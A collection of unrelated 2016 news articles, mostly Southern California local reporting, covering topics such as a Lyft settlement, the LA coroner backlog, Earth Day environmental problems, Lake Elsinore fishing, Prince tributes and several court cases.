The union said the settlement in the proposed class-action suit would continue to misclassify Lyft employees in California as independent contractors, leaving its business model intact. Judge Vince Chhabria of the U.S. District Court for the Northern District of California has rejected the amount of the settlement, though the reclassification issue is likely to continue to be side-stepped as the judge is of the view it is a policy concern better decided by a legislature or executive.
Google and Microsoft have agreed to end their long-running regulatory battles and stop complaining to government agencies about each other.

Microsoft had been one of the leading companies calling for governments to investigate Google over potential antitrust violations in recent years. Earlier this year, though, Microsoft withdrew its support for FairSearch, a coalition of companies pushing the EU to file formal antitrust complaints against Google.

The announcement of the new agreement between the two companies comes just two days after the European Commission filed new antitrust charges against Google related to packaging its apps on Android phones.

The two tech giants, over several years, have been waging a behind-the-scenes cold war against each other involving government agencies in the U.S. and other countries, but thats now ending, both companies said in short statements.

Microsoft has agreed to withdraw its regulatory complaints against Google, reflecting our changing legal priorities, a Microsoft spokesman said by email. We will continue to focus on competing vigorously for business and for customers.

The new detente stems from a global patent deal the two companies signed last September. That deal ended about 20 patent lawsuits between the two companies in the U.S. and Germany.

Our companies compete vigorously, but we want to do so on the merits of our products, not in legal proceedings, a Google representative said by email. As a result, following our patent agreement, weve now agreed to withdraw regulatory complaints against one another.

The new agreement, announced in statements released Friday, isnt driven by a single event but is a natural progression of the companies relationship, said one person familiar with the deal.
The Southern California News Group won two Society of Professional Journalists Sigma Delta Chi awards for its coverage of the Dec. 2 terror attacks in San Bernardino, the organization announced Friday.

 The staff of The Press-Enterprise was awarded for its coverage of the terror attacks in the category Deadline Reportingfor a newspaper with a daily circulation of 100,000.

 The staff of The Sun was recognized for the San Bernardino terror attack in the category Deadline Reporting for a newspaper with a daily circulation of 50,000.

The newsrooms at The Press-Enterprise and The Sun are honored to receive such a prestigious acknowledgement from the Society of Professional Journalists, said Frank Pine, executive editor of the Southern California News Group, which includes The Press-Enterprise and The Sun.

It is our responsibility as the primary local media voices in San Bernardino and surrounding communities to report with clarity, depth and accuracy. The awards are a testament to our newsrooms commitment to serving readers and putting our communities first when significant news events occur in their neighborhood.

Judges selected 84 honorees from more than 1,400 submissions, which included entries from television and radio broadcasts, newspapers, online news outlets and magazines.

The Society of Professional Journalists have been handing out Sigma Delta Chi awards since 1932. The first ceremony recognized the efforts of six journalists.

The Southern California News Group, formed after Digital First Media purchased the Orange County Register and The Press-Enterprise in March, consists of 11 daily newspapers and more than a dozen community weeklies in the region.
Human bodies  often more than 400 of them  await autopsy in Los Angeles County, where the grand jury hammered the county Board of Supervisors for failing to adequately fund and staff the department.

Their report released Thursday said that the blame doesnt lay with former Chief Medical Examiner-Coroner Dr. Mark Fajardo, who recently resigned and returned to his former job as Riverside Countys chief forensic pathologist.

As far back as January 2014, the Los Angeles County Grand Jury wrote, Fajardo pointed out a number of high priority unmet needswithout which the department will be unable to hire or sustain critical lab operations.

He sounded a similar alarm for fiscal year 2016 budget and asked for 19 more positions.

Instead, the grand jury found, county supervisors provided inadequate resources and approved budgets that were essentially flat for those two years.

Now, the L.A. County coroners department is struggling to complete autopsies within the national standard of 90 days  and may lose its accreditation.

The citizens of Los Angeles County expect that their dead will be treated with dignity and respect, the grand jury wrote.

Dysfunction at the coroners office has ripple effects. It threatens the coroners credibility in criminal cases and important functions are on hold, the authors wrote. Some staff are focusing on blood-alcohol tests instead of reviewing police shootings, for instance. Delays also impede public health investigations and cause financial and emotional hardships for families of the dead.

I am deeply concerned by this report, Supervisor Hilda L. Solis said in a written statement. It is obvious to me that our budget must provide the resources necessary to address these issues right away.

The recently proposed fiscal 2017 budget actually cuts the departments budget by 5 percent, to $33.6 million. County CEO Sachi Hamai hasnt ruled out increased funding. The coroners 2017 increased budget request did not contain the required justification and supporting documentation, said Al Naipo, spokesman for Supervisor Mark Ridley-Thomas. He added that the county has approved bonuses and special salaries to deal with the shortages.

But representatives for county supervisors did not respond to questions about the past funding history. Nor did they address another point raised by the grand jury  that the supervisors are meddling with the coroners office. The board requests immediate processing of selected cases on average 16 times a month, the grand jury found. This throws off the coroners priorities, the report said.

To cut the backlog, the grand jury recommended the county immediately add 21 full-time employees, including toxicologists, investigators and pathologists. Further, it suggested adding 23 additional employees to achieve typical staffing, as set by the National Association of Medical Examiners. Currently, the department has funding for 227 positions. New York and Chicago employ more key staff per capita, the grand jury found.

Also, the report suggested the county increase employee compensation and study how to retain workers and recruit for vacant positions. Currently, the departments high workload leads to burnout, the authors found.

Physical improvements could also help. The crematory needs new furnaces and a new floor, the report said. The county could open a second facility for processing bodies  somewhere in the west San Fernando Valley  and save on driving time.

Finally, consolidating the Department of the Medical Examiner-Coroner with the Office of Decedent Affairs could streamline operations, the grand jury wrote. Today, the latter is housed separately under the countys Department of Health Services. Its employees operate the county morgue at the LAC+USC Medical Center, the county crematory, and the county cemetery.

Staff writers Brenda Gazzar and Richard Brooks contributed to this report.
An Aldi supermarket slated for a long-vacant parcel on Rancho California Road was approved this week by the citys Planning Commission.

The acreage is just west of the Moraga Road intersection.

The 18,555-square foot store, which stocks around 1,400 commonly purchased items, will be sandwiched by Vons to the west and an Albertsons to the east.

The chain is hoping to compete with those stores, and the Barons near the Meadows Parkway intersection, by offering house brands at low prices.

Instead of 25 different brands of ketchup, the store will stock one ketchup and sell the ketchup for less than the name brands at rival stores.

The model is similar to the one used by Trader Joes, which has proved successful in Temecula and elsewhere in Southern California.

About 90 percent of the brands sold at a typical Aldi are house brands, a company official said Wednesday.

The Temecula location is part of the companys bold expansion plan in California, which includes stores in the cities of Beaumont, Fontana, La Quinta, Lake Elsinore, Menifee, Moreno Valley, Palm Springs, San Bernardino, and Yucaipa.

The Temecula Aldi will be open from 9 a.m. to 9 p.m. It will employ around 20 people with four to eight employees working at the store during a typical shift.

The city gave special attention to the loading area at the rear of the building, which abuts an apartment complex.

This area is relatively close to residential units and the applicant has provided additional architectural features to enhance the aesthetics and mitigate the potential noise that may be created by truck deliveries and trash pick-up, wrote city planners in a report for the commission.

The additional features include a four-foot screen wall with 12-foot columns and a trellis structure that runs the length of the loading dock.

No one who lives near the site attended Wednesdays commission meeting to praise or critique the project and it was approved by unanimous vote.

Im sure people are disappointed to see that empty lot disappear after 100 years, joked commission Chairman Ron Guerriero.
A man accused of setting fire to his Corona home and filing a fraudulent insurance claim will remain in custody for now while authorities review whether he has money for bail beyond the sum prosecutors hope to recoup should the defendant be convicted.

The Riverside County District Attorneys Office previously received court orders directing at least four banks to disclose information about accounts in the name of defendant Constantine Dino Petrovic, 63.

Petrovic was arrested in the San Francisco area and made his first court appearance Tuesday, April 19, in Riverside where he pleaded not guilty to arson and making fraudulent statements and insurance claims for the more than $1 million loss in the August 2012 fire, according to court records. The defendant had been scheduled for a review of his $1 million bail Thursday, April 21.

Deputy District Attorney Amy Zeta told Judge Helios Hernandez that one of the banks that received the notice to freeze accounts subsequently issued seven checks totaling about $500,000 to someone believed to be the defendants wife.

Defense attorney Andrew M. Stein told the judge he had no standing or role in the bank issue. Petrovic is due in court for a settlement conference April 28.
Earth Day, celebrated Friday, April 22, across the globe, reminds us of the fragile state of our planet.

From land contaminated with toxic chemicals to bad air spewed into the atmosphere, most of us have been affected by pollution in some way.

To bring all of this closer to home, were listing the 10 most critical environmental problems in Southern California. Some are very recent; some have been going on for decades. But all are still relevant today. Especially today, when we turn our attention to the air, land, water and inhabitants of planet Earth.

1. Global Climate Change: While some parts of the country have experienced extreme weather, such as colder winters and massive flooding, the West has experienced hotter temperatures and unusually warmer winters these past several years. An overwhelming majority of scientists say man-made emissions, including carbon dioxide  produced from the burning of fossil fuels  become trapped in the atmosphere causing a heat or greenhouse effect.

Last year was the hottest year on Earth since record keeping began in 1880, according to scientists with the National Oceanic and Atmospheric Administration. February and March were even hotter than that mark.

The temperature rise in March was the 11th month in a row of record-breaking heat.

It is a steady warming, with no evidence of change in the long term, Gavin Schmidt, director of NASAs Goddard Institute for Space Studies in New York, told our sister newspaper, The Mercury News in January.

Overall, the planets temperature has risen about 1.8 degrees Fahrenheit since the late 19th Century. While Californias four-year drought was not caused by climate change, researchers from NASA and Columbia University said it aggravated the situation by causing more water evaporation and thereby making the states drought about 20 percent worse.

On Friday, nearly 160 nations are expected to sign an accord agreeing to cut greenhouse gases. The goal is to keep the global temperature from rising more than 3.6 degrees Fahrenheit, measured since before industrialization.

2. Porter Ranch gas leak: What many may not know that the Aliso Canyon gas fields are not just a place where methane is pulled from the ground. It is a place where natural gas is stored after being injected into the ground. With 115 wells, it is one of four underground natural gas storage facilities operated by Southern California Gas Co.

About 100,000 tons of methane leaked out of the underground storage field, the largest natural gas leak disaster in the United States, according to researchers with University of California, Irvine. Enough gas leaked every day for nearly four months starting in October 2015 to fill a balloon the size of the Rose Bowl, experts said. About 6,000 residents were relocated after many complained of headaches, nosebleeds and vomiting. SoCalGas said experts agree there are no long-term health effects.

The next question is: Can Aliso Canyon be reopened as a gas-storage facility? A new report says without that capacity, there may be a shortage of natural gas to power generators that produce electricity, potentially causing scattered blackouts this summer. Meanwhile, an old gas field in Montebello had six new leaks found at the same time Aliso Canyon was leaking; all were repaired. SoCalGas pulls 1 million cubic feet of natural gas from residual supplies and 100 barrels of oil every day from Montebello, despite a closure order issued 15 years ago.

3. Air pollution and SCAQMD: The South Coast Air Quality Management District is working on an update to the regions Air Quality Management Plan. Hearings will take place in June and July, while adoption of the plan would be later this year, according to SCAQMD officials.

The agency will be forming its clean air plan under new leadership after longtime Executive Officer Barry Wallerstein was dismissed in March. All seven members of the 13-member governing board represent a new, Republican majority voted for his dismissal; five Democrats and one independent voted no. He was replaced in April with former EPA administrator Wayne Nastri, who was named acting chief. Protesters, environmental groups and members of the state Legislature criticized the moves as pandering to businesses, especially oil interests, who want softer regulations at the expense of public health.

While stratospheric ozone protects people from harmful ultraviolet rays, ground-level ozone is a health concern.

The Los Angeles air basin has the worst air quality of any area of the nation. The area does not meet the Clean Air Act health-based standards for ozone and fine particulate matter (PM2.5), two critical components of smog. The particulates violation stems from the unhealthful levels found at the SCAQMDs monitoring station in the Mira Loma area of Jurupa Valley.

Ozone is formed in the lower atmosphere when sunlight causes a chemical reaction on emissions from cars, trucks and locomotives, namely nitrogen oxides (NOx) and other airborne chemicals. The single-largest stationery source of NOx are ships and other vehicles operating in the twin ports of Los Angeles and Long Beach, according to SCAQMD records. When NOx mixes with Volatile Organic Compounds (VOCs) from paints, coatings, refineries and mobile sources as well, the reaction with sunlight forms ozone (O3).

The greatest sources of PM2.5, tiny particles that slip into the lungs, are diesel trucks, off-road diesel tractors and bulldozers and diesel-powered locomotives, ships and cargo movers. In order to reach compliance, the four-county air basin would have to reduce oxides of nitrogen (NOx) by 60 percent, said Philip Fine, SCAQMD deputy executive officer.

Ozone pollution, which affects 107 million Americans, can cause shortness of breath, coughing and wheezing. Longer exposures have been linked with asthma and reduction in lung function, what the American Lung Association calls a sunburn on the lung that can lead to premature death.

4. Refinery fire in Torrance: The explosion at the ExxonMobil refinery in Torrance greatly reduced output of gasoline. Experts say the loss of supply drove up pump prices in Southern California. The explosion took place on Feb. 18, 2015, sending flames and ash into the sky. Four workers suffered minor injuries. Since then, the company has been working to install the necessary air pollution equipment to reopen the plant. The SCAQMD in early April gave approval to restart the plant for gasoline manufacturing. State regulators fined ExxonMobil $566,600 for 19 workplace health and safety violations in the aftermath of the explosion and investigation.

It is estimated ExxonMobil will pay $5 million in penalties for air pollution violations that could occur after the start-up during a brief period of excess pollution emissions. ExxonMobil caused the explosion by failing to fix equipment, despite knowing it could cause a life-threatening blast, state and federal regulators concluded in separate investigations. ExxonMobil has not said when the restart would occur. ExxonMobil plans to sell the refinery to PBF Energy.

5. Exide closure and cleanup: Exide Technologies, a battery recycling plant in Vernon, was ordered to close in March 2015 and ordered to pay $50 million for clean-up of the site and surrounding neighborhoods by the U.S. Department of Justice. The California Department of Toxic Substances Control informed Exide on Feb. 26 of that year that its permit to reopen was denied. Instead, the order called for the facility to be shuttered, demolished and cleaned up.

Lead-acid batteries, when melted down, produce a host of toxic emissions, including lead, cadmium and arsenic. The plant was releasing high levels of lead emissions for 18 consecutive days in March 2014, according to air pollution officials. Unacceptably high levels of lead were detected in the air monitor at the northeast corner of the Exide property at 2700 S. Indiana St., according to the SCAQMD.

Studies say residents of low-income areas are more likely to breathe in toxic air emissions. Closure of the Exide battery-recycling plant in Vernon, after state agencies found toxic compounds in nearby neighborhoods and numerous violations, is an example of environmental justice, said Los Angeles County Supervisor Hilda Solis.

Testing has begun at 500 homes near the closed Exide plant but only a handful had lead levels requiring cleanup so far, Reuters reported last week. About 10,000 properties will be tested in the communities around the shuttered plant.

Recently, the governor signed a bill that will set aside $176.6 million for more testing and cleanup within a 1.7-mile radius of the plant.

Lead exposure can interfere with a host of organs, including the heart and the nervous system. In children, who are more susceptible, inhalation or ingestion can lead to cognitive disorders, cause immune problems, and prevent the proper development of bones and teeth.

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6. Water shortages and conservation: The four driest years in California history, from 2011 to 2015, reduced the states snowpack to zero, dropped ground water basins and state reservoirs to historic lows. The winters El Nino storms helped build the snowpack to near 100 percent and brought back reservoir levels in Northern California to above their historical averages.

The State Water Resources Control Board enforced Gov. Jerry Browns emergency mandatory water conservation from June 2015 through February 2016. In that time, Californians saved close to 24 percent or about 1.19 million acre-feet of water, enough to supply more than 5.9 million residents for one year, or about the combined population of San Diego, Riverside and Tulare counties. The result was just short of the mandated 25 percent goal set by Brown.

7. Solar energy: Solars biggest year was 2015, when 7,260 megawatts of solar power was installed in the United States for a gain of 16 percent over 2014, according to the Solar Energy Industries Association. The SEIA, a leading trade group, predicts that number will double this year.

Residential solar is leading that growth, increasing 66 percent from 2014.

At the same time, larger solar farms and utility photovoltaic plants are also adding to the countrys renewable energy portfolio. But not without controversy.

The Ivanpah solar plant built in northeast San Bernardino County came on line in 2014. But because the plant burns natural gas as part of its process, it is not 100 percent green and is being labeled by some as a hybrid. The plant produced 46,000 metric tons of carbon dioxide in its first year of operation.

It also came under fire during construction for displacing more than 100 desert tortoises, a species threatened with extinction, and for its towers that burn birds in mid flight.

8. Hinkley: In this small town devastated by cancer-causing chromium-6 in its drinking water, news of recovery began to surface this past year.

The Lahontan Regional Water Control Board in November approved a comprehensive cleanup plan for the worlds largest known plume of the cancer-causing chemical. The order requires Pacific Gas & Electric to further define the plume, monitor it and reduce chromium-6 concentrations, especially in the core area near its Hinkley natural gas compression station.

In January, the community learned the toxic plume had shrunk by half over the previous four years. The community had hope that it could begin to rebuild, to attract more residents and to re-open Hinkley School, which closed in June 2013.

From 1952 until 1964, San Francisco-based PG&E discharged untreated chromium-6 from cooling towers in its Hinkley station into unlined ponds, a common practice during that era, before the cancer-causing properties of chromium-6 were fully understood. From the ponds, chromium-6 percolated into the ground.

Hinkleys water contamination problems were thrust globally into public view in the 2000 film Erin Brockovich starring Julia Roberts.

9. Salton Sea: Various fixes to the Salton Sea, a dying lake occupying about 378 square miles in Imperial and Riverside counties, include a geothermal operation and algae harvesting.

Browns 2016-17 budget includes $80.5 million for the giant lake, labeled as a start but nowhere near the full amount needed to restore the sea.

Some have suggested that economic activity would pay back the cost of restoration, which at one point was tagged at $9 billion.

In February, Bruce Wilcox, whom Brown appointed as secretary for the Salton Sea Policy within the California Department of Natural Resources, spoke publicly about what can be done to save the lake.

If nothing is done, the giant sea will have shrunk by about 100 square miles by 2050, resulting in dust storms and hydrogen sulfide bumps that affect air quality throughout Southern California, documents show.

10. Plastic bags: The back-and-forth over the problem of plastic bags and the environment continues.

Brown in 2014 signed into law Senate Bill 270, which mandated a statewide ban on single-use plastic carry-out bags. Before the law could go into effect in July 2015, opponents of the bill gathered enough signatures to add a referendum to the upcoming November election.

A yes vote on the ballot measure upholds the ban. A no vote would overturn SB 270.

Environmental groups point out that plastic bags are litter. They are a danger to wildlife. Bags have been found in the stomachs of whales, snare and strangle fish and shorebirds.

Estimates say 25 percent of litter found in the Los Angeles river comes from plastic bag waste.

The ban on single-use plastic bags was supported by the grocery industry, who wanted a uniform policy statewide. To date, many cities and counties have enacted bans, making shoppers more comfortable bringing re-usable thick plastic or cloth bags to the checkout stand.

A total of 147 cities and counties in California already have bans on plastic bags.

Los Angeles County banned single-use plastic bags in 2011 as did cities of Pasadena, South Pasadena, Monrovia and Glendale. Arcadia is considering a city-wide ban on plastic bags at grocery stores, liquor stores and convenience stores.

Staff writers James Steinberg, David Danelski, Courtney Tompkins and Jessica Calefati contributed to this report.
When Corona resident Edgar Sandez gets the itch to fish, he heads to the La Laguna Boat Launch in Lake Elsinore.

Sandez was among a cluster of about 20 anglers who one recent Saturday morning parked their trucks and sport utility vehicles at the shores edge and cast lines.

The cats are running good, he said, motioning toward an array of five substantial catfish, including one the size of a mans thigh, flopping on the shore by the launch.

The bounty came after several thousand catfish, largemouth bass, black crappie and bluegill were planted in the lake in late winter to boost the fishery of Southern Californias largest natural body of freshwater.

Fish stocking is one of a number of actions city officials are taking to improve the lakes quality as well as attract more anglers, boaters, bathers and picnickers to the 3,000-acre lake with 14 miles of shoreline.

A fine piece of water

City Council members in March approved three ordinances that loosen lake use restrictions. The measures, which became effective last week, allow boats to tow inflatable craft; create zones where personal craft such as Jet Skis can roam freely; remove prohibitions on swimming; create a new lake use pass discount; allow night boating on certain occasions; and permit alcoholic beverage consumption at the boat launch and adjacent beaches.

I was in favor of most of it, said veteran lake pilot Pete Dawson, a U.S. Coast Guard Auxiliary volunteer. I had trouble with the inflatables, but the city addressed that. Theyre trying to increase the numbers and thats wonderful, because the lake needs use. This is a fine piece of water.

William Johnson, who operates the boat launch and adjacent campgrounds for the city, said lifting the alcohol ban could help increase business at La Laguna.

Who doesnt want to suck on a beer on a real hot day? he asked.

Sandez welcomed the end of the prohibition.

I like to drink when I fish, he said. You dont necessarily have to get out of hand.

Johnson came over to Sandezs catch and tagged the largest one as a prize in the upcoming Dream Extreme Fishing Derby coming up next weekend. Sandez released that one and another big one, the smaller ones destined for the frying pan or soup pot.

The annual fishing derby, sponsored by the Lake Elsinore Casino along with the city and Angler Chronicles, is one of several lake promotional activities. Others include an annual childrens fishing derby, water ski competitions and speedboat tournaments.

Launches on this years opening day, where the $10 lake use pass was waived, were unexpectedly light because of storm warnings. That did not deter water skiers David Frank, his son Tyler, and Guy Hargreaves, from taking advantage of the free use  and boat inspection  and going for a spin in Smokin, Tylers newly purchased Bernico F2 speed boat.

Conditions couldnt have been better for their outing.

Theres nowhere we can go (in Southern California) with this sheet-glass water, the father said. This is just way calm.

Said Tyler, With water like this, how could you not like Lake Elsinore?

Water woes

Unfortunately, water, or rather the lack of it, is the one factor that puts a damper on the lakes outlook, as it has shrunk considerably amid the ongoing drought. At 1,235 feet above sea level, the lakes depth is now about 20 feet at most. Though replenished daily with reclaimed water from the Elsinore Valley Municipal Water District, it is not enough to counter evaporation.

Only a torrential storm will cause the Canyon Lake reservoir to overflow, sending much-needed San Jacinto River water to Lake Elsinore.

Every lake in Southern California is feeling the same pain, said fishing promoter Sergio Feinstein of Angler Chronicles, which produces programs on fishing expeditions.

Some of them have actually closed down because of water issues, Feinstein said. What makes Lake Elsinore different is the fact that No. 1, you still have water. Thats big. No. 2, it is the only real lake in Southern California. It may get low and very low, but it wont disappear.

Though Feinstein works with the city to tout the lake on TV and radio, the Huntington Beach resident said he enjoys the lake as well as the city.

Lake Elsinore is a perfect vacation-type place, he said. You can spend a week there and you have a lot of things to do. Its a perfect little getaway without having to make a big issue out of (traveling).

But, as city officials recognize, it all starts with the lake.

Were not talking the same lake that most people used to fish 20 years ago, Feinstein said. With all the improvements theyve done, it improved the fishing.  Ive caught largemouth bass, catfish and crappie. Its very good quality, really good bites.

Contact the writer: 951-368-9690 or michaelwilliams@pressenterprise.com
Eight people were found dead Friday at four crime scenes in rural Ohio, and at least most of them were shot to death, authorities said. No arrests had been announced, and its unclear if the killer or killers are among the dead.

Seven of the victims, including two children, were slain in execution-style killings at three homes along a rural road, authorities said.

Details on the death of the eighth person werent immediately available, but the body was found in a fourth location, said Jill Del Greco, spokeswoman with the Bureau of Criminal Investigation. Attorney General Mike DeWine planned to provide an update in Pike County later Friday afternoon, she said.

DeWine and Pike County Sheriff Charles Reader had said earlier that seven victims were believed to be members of the same family. All were shot to death, they said.

There is not an active shooter and no arrests have been made, DeWine and Reader said. Authorities are trying to determine a motive, identify the deceased and determine if the killer or killers are among the deceased individuals or on the loose.

A dozen BCI agents were called Friday morning to Pike County, an economically struggling area in the Appalachian region some 80 miles east of Cincinnati.

Goldie Hilderbran, 65, said she lives about a mile from where she has been told the shootings took place.

I first heard about it this morning from our mail carrier, Hilderbran said.

Hilderbran said the mail carrier told her deputies had stopped her from delivering mail in the area they had blocked off.

She just told me she knew something really bad has happened, Hilderbran said.

Gov. John Kasich, campaigning in Pennsylvania for his Republican presidential bid, said his office was monitoring the situation in Pike County.

Reports we are receiving from Peebles are tragic beyond comprehension, Kasich wrote on his Twitter account.

The FBI in Cincinnati also said it was closely monitoring the situation and has offered assistance to the Pike County sheriffs office if needed.

Peebles High School imposed a precautionary lockout Friday morning after authorities notified the superintendent of shootings that had occurred a few miles away, according to Regina Bennington, secretary to the superintendent for the Adams County Ohio Valley Schools district.

High school officials said the school was back to normal operations later Friday morning.

Piketon is the site of a Cold War-era uranium plant that was closed in 2001 and is still being cleaned up.
U.S. Marines conducting a nighttime training operation near Corona on Wednesday, April 20, got some practical experience when they were called on to help Riverside County authorities search for a lost hiker.

The Riverside Police Departments Air Support Unit was asked to help search for the woman in Cleveland National Forest west of Corona about 9 p.m., but because the unit didnt have night vision equipment to see into the rough terrain, the helicopter couldnt fly into the canyons and search for her, police said in a Facebook post.

She was speaking wtih Corona Police officials and said she could see a helicopter near her, which turned out to be a military osprey aircraft. The Marines were conducting nighttime training operations and did have the night vision equipment required to see into the canyons, the post said.

The air support unit contacted the osprey and asked for help. It took the Marines only a couple of minutes to find the woman and tell the air support unit where she was, according to the post.

The police then relayed her location to the Riverside Sheriffs Department Search and Rescue Team, who walked her out to safety within a few hours.

Contact the writer: 951-368-9567 or amillerbernd@pressenterprise.com
The Mission Inn Hotel & Spa has a new general manager.

Stan Kantowski comes to the historical Riverside property from the Hard Rock Hotel Palm Springs.

Owner Kelly and Duane Roberts announced the staff change in a news release.

This is Kantowskis first week on the job, according to publicist Veronica Werhane.

A native of Poland, Kantowski studied law in Italy before coming to the United States.

Before the Hard Rock Hotel, he worked at other prominent desert resorts, including La Quinta Resort & Club and Miramonte Resort & Spa in Palm Desert.

Kantowskis predecessor, Patrick Yip, held the position for a few months. He was the Mission Inns director of finance before being promoted in late summer.

Yips predecessor was also promoted from within. Diana Rosure came to the Mission Inn in 2007 and was in charge of the spa and retail when she became general manager in the spring of 2011.

The Mission Inn was originally opened in 1903 by Frank Miller. The property was in disrepair and closed when the Roberts took over in 1992.

Contact the writer: fbuck@pressenterprise.com or 951-368-9551
Foothill Family Shelter, founded in 1984, provides homeless families temporary housing and the tools they need to get back on their feet and into homes of their own.

The shelter began as St. Marks Homeless Shelter and serves homeless adults and children in Upland, Ontario, Montclair, Pomona, Claremont and Rancho Cucamonga. The shelter has 28 two-bedroom, fully furnished apartments. Mainly housing families for up to 120 days, free of rent and utility charges, Foothill Family Shelter also provides one-year transitional housing.

Because the shelter has limited space, it carefully considers clients. To be considered, families must be homeless or within two weeks of being homeless, live in the service area and agree to be drug and alcohol free. Families are also expected to have some sort of tangible income and be willing to invest half of it into a savings account the shelter establishes for them.

They have to want to transform their life, said Co-Executive Director Megan Nehamen. This means they have to demonstrate that they will actively engage in all of the services and programs and have an exit plan.

The services the shelter offers are extensive, including individualized case management and education in everyday life skills such as budgeting, as well as individual, group and family therapy. The job development and employment services, which are also offered, are customized, assisting clients with finding their strengths, developing interview skills and seeking experience and education that will help them remain valuable in the job market.

People hear shelter and think theres a drug problem or other situation. However, a lot of the times, the families are high functioning. They get up and get their kids to school, go to work, but cannot make ends meet, Nehamen said.

Family shelters are rare, making the demand for Foothills services high. Nehamen said the organization had 64 pre-screened and fully qualified families vying for four openings in February.

Because much of the government funding Foothill once depended on has diminished, the agency needs more local dollars. It recently received a Youthmakers Grant through The Community Foundation.

The organization is diversifying it fundraising efforts through a new thrift shop it opened a year ago in Upland.

The thrift store accepts everything, so we have beautiful furniture, elegant decor, name brand clothing, designer handbags and quality items like jewelry, Nehamen said.

The store is always seeking donations and volunteers.

Foothill Family Shelter is holding an anniversary event and nonperishable food drive from 10 a.m. to 5 p.m. April 30 at the Foothill Family Thrift Store. All food donations will go to a community food pantry the shelter operates for people in need.

The financial resources are vital, but just buying a couple extra cans of food for the pantry, or patronizing the thrift shop, or sharing information about the work that we do can make a difference, Nehamen said.

For more information about Foothill Family Thrift Store, call 909-982-1785 or visit foothillfamilyshelter.org.

Contact the writer: community@pressenterprise.com
Three teens are languishing in a Sydney jail cell after being arrested for allegedly spruiking fake tix to overnight rave-athon Midnight Mafia, which goes down at Sydney Showground this Saturday.

Police stepped in after numerous complaints from event organisers, Harder Styles United, and stitched-up punters who paid up to $200 a pop for elaborate copies of the sold-out tix (the original sale price was $135).

The trio of 18-year-olds, all mates, were arrested on Fitzroy Street, Surry Hills, on Thursday night and will front Central Local Court this morning, charged with a string of offences including: knowingly deriving a material benefit by acting as a criminal group, publishing misleading material to obtain property and dishonestly obtaining property by deception.

HSU initially posted a warning about one batch of fakes  yellow second release tickets  after would-be punter Phuongie Bui shared photos of the dupes he bought on Gumtree.





Then it became known there was a second, even harder to detect batch of fake blue tickets; they have legit security barcodes but, unlike the originals, dont have a shiny Ticketbooth logo on them.

The lesson here is: dont buy tickets through unverified sellers. Or, if you cant resist, ask for proof of purchase before handing over a fistful of cash.

If youve bought a Midnight Mafia ticket, and are worried about whether or not its legit in light of this scam, heres what an OG one looks like.

Source: Facebook / Midnight Mafia.

Photo: Tom Truong.
Unless youve stayed off of the internet and away from all human life for the entirety of the day, youd know that music legend and elusive enigma Prince tragically passed away today.

Millions of people are beyond devastated, so a bunch of cities, monuments and companies have all paid mad tribute to iconic musician.

GOOGLE

Despite already having a Google Doodle up for todays Earth Day, Google decided to bring a Purple Rain Google doodle into the mix. Not everyone can see it (it may only be available in some areas), but they posted it on Twitter for all to see, as well:

We are gathered here today

To get through this thing called life. https://t.co/HthUrlGVeV pic.twitter.com/xT8oKjpDZc  Google (@google) April 21, 2016





THE EMPIRE STATE BUILDING

It takes something pretty big for major monuments to pay tribute, which shows just how massive an impact Prince had on the world. The Empire State building, the Eiffel Tower and the Superdome all lit up purple today. So did Niagara Falls, although some sources say this was coincidentally for the birthday of Queen Elizabeth II.

TWITTERS MOSAIC

Whats bigger than most buildings? The internet, of course. Twitters data team created this incredible, made from all of the tweets that tweeted today in honour of Prince today  there were a whopping 6 million (and counting).

THE NEW YORKER

The New Yorker is a truly a word leader when it comes to tributes, and Princes is no different. This is their cover for next week:

In honor of Prince, an early look at next weeks cover, Purple Rain: https://t.co/lF0Nwyd7q8 pic.twitter.com/myN15OxsCO  The New Yorker (@NewYorker) April 21, 2016

MTV

MTV announced just hours after the news of Princes passing had happened that they would be dedicating today to his memory by just playing his music, as well as changing their logo to purple.

Locally, Double J (who has also gone purple) will be playing Prince all weekend to honour his contribution to music.

SNAPCHAT

Weve already pointed this out today but wed be remiss not to include it in this list: Snapchat organised a Purple Rain filter to pay tribute.

Snapchat is honoring Prince with a Purple Rain filter today https://t.co/s0H2F9c9AJ pic.twitter.com/ad8YeGmz4F  Los Angeles Times (@latimes) April 21, 2016





PRINCE ST STATION, BROOKLYN

A mysterious stranger stickered over the New York Citys Prince St subway stop with a purple P and Princes symbol:

NASA

As much as this nebula isnt *officially* named after the songwriter, it is a super lovely gesture and tribute from NASA:

A purple nebula, in honor of Prince, who passed away today. https://t.co/7buFWWExMw pic.twitter.com/ONQDwSQwVa  NASA (@NASA) April 21, 2016

NEWTOWN FIRE STATION

Oh the Newtown firies, they bloody get us every time! Look at this super adorable tribute written on Newtown Fire Stations board:

Photo: Newtown Fire Station.

So, its obvious the whole world is in mourning today  and lets be honest, most of Gen Y wouldnt even have been conceived if it wasnt for Princes sexy, sexy music. So look after each other today  were all hurting.

RIP Prince, far too talented and good for this world  but it loved you anyway.

Photos: Twitter.
COLUMBUS  Two South Dakota men arrested in Columbus after an April traffic stop and search of their vehicle found they were hauling nearly 2 pounds of marijuana and three loaded handguns are charged with felonies that could put them behind bars for decades.

Defendants Tylor Ihnen, 27, and Dean Pitchford, 24, both of Freeman, South Dakota, waived their preliminary hearings Wednesday and were bound over for trial in district court.

County Court Judge Frank Skorupa scheduled the men for arraignment Friday on charges of possession of marijuana with intent to deliver while carrying a firearm and possession of a controlled substance.

Possession of marijuana with intent to deliver while carrying a firearm is a Class II felony, punishable by up to 50 years in prison. Possession of a controlled substance is a Class IV felony and carries a maximum penalty of two years imprisonment.

Ihnen and Pitchford were each released from the county jail Wednesday evening after posting bond. Bond, initially set at $250,000, was lowered to $75,000 during the brief county court hearing earlier in the day.

The South Dakota men had been in custody since their April 9 arrest.

Court documents describe a Columbus Police investigation that was initiated about 10:15 a.m. that Saturday when Officer Troy Urkoski observed a maroon Ford Freestyle with South Dakota license plates run the stoplight at 33rd Avenue and 23rd Street.

As the officer approached the car, Urkoski wrote in his probable cause arrest statement, he saw the driver (Ihnen) drop a small baggie into his lap and quickly conceal it between his legs. The officer then called for backup.

While speaking with Ihnen, I could smell the odor of marijuana coming from the vehicle, Urkoski wrote in his statement. Police said the South Dakotans were returning from a trip to Colorado.

During a subsequent search of the vehicle, police seized 1.93 pounds of marijuana, a pot plant, growing apparatus and drug paraphernalia. Police also found THC-laced candies and three handguns, one under the front seat, one in a side door and one concealed under blankets on the rear seat.

All three weapons were within reach of both occupants, Urkoski wrote in his statement.
